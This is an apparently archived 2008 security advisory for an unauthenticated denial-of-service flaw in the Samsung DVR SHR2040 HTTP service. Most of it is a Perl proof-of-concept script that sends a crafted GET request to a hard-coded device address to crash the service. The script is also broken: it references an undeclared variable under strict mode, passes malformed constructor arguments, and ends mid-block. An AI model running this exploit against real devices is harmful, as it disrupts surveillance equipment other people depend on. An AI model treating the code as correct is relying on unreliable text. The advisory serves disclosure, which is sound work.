Samsung DVR SHR2040 HTTPD Denial of Service DoS (PoC)
7 Sep. 2008
Summary
The vulnerability in Samsung DVR SHR2040 is caused due to an unspecified error in the CGIs files filter used for configure properties. This can be exploited by sending a specially crafted HTTP request (NO necessary authentication), which will cause the HTTP service on the system to crash.
Credit:
The information has been provided by Alex Hernandez.
Exploit:
#!/usr/bin/perl -w
#
# Samsung DVR SHR2040 HTTPD Remote Denial of Service DoS PoC
#
# The vulnerability is caused due to an unspecified error in the cgis
# files filter used for configure propierties. This can be exploited by
# sending a specially crafted HTTP request (NO necessary authentication),
# which will cause the HTTP service on the system to crash.
#
# Requisites: Test default ports:
#
# PORT STATE SERVICE
# 554/tcp open rtsp
# 557/tcp open openvms-sysipc
#
# The vulnerability has been reported in versions Samsung DVR
#
# Firmware Version B3.03E-K1.53-V2.19_0705281908, Model = SHR2040
#
# More information: http://www.samsung.com
# http://www.sybsecurity.com
#
# Very special credits: str0ke, Kf, rathaous, !dsr, 0dd.
#
# and friends: nitr0us, crypkey, dex, xdawn, sirdarckcat, kuza55,
# pikah, codebreak, h3llfyr3, canit0.
#
# Alex Hernandez ahernandez [at] sybsecurity dot com
#
use strict;
use LWP;
use Data::Dumper;
require HTTP::Request;
require HTTP::Headers;
my $string = "/x"; # Strings to send
my $method = 'GET'; # Method "GET" or "POST"
my $uri = 'http://10.50.10.248:557'; # IP address:port (change this)
my $content = "/test.html"; # Paths to crash
my $request = HTTP::Request->new($method, $uri, $headers, $content, $string);
my $ua = LWP::UserAgent->new;
my $response = $ua->request($request);
print "[+] Denial of Service exploit for Samsung SHR2040 Final\n";
print "[+] Coded by: Alex Hernandez [ahernandez\@sybsecurity.com]\n";
print "[+] We got this response from DVR: \n\n" . $response->content . "\n";
my $data;
foreach my $pair (split('&', $response->content)) {
my ($k, $v) = split('=', $pair);
$data->{$k} = $v;
}
if ($data->{RESULT} != 0) {
print "[+] Denial of Service exploit for Samsung SHR2040 Final\n";
print "[+] Coded by: Alex Hernandez[ahernandez\@sybsecurity.com]\n";
print "[+] Use:\n";
print "\tperl -x dos_dvrsamsung.pl\n";
print $data->{RESPMSG} . "\n";
exit(0);
} else {
print "[+] Denial of service Exploit successed!!!\n";
print "[+] By Alex Hernandez[ahernandez\@sybsecurity.com]\n";
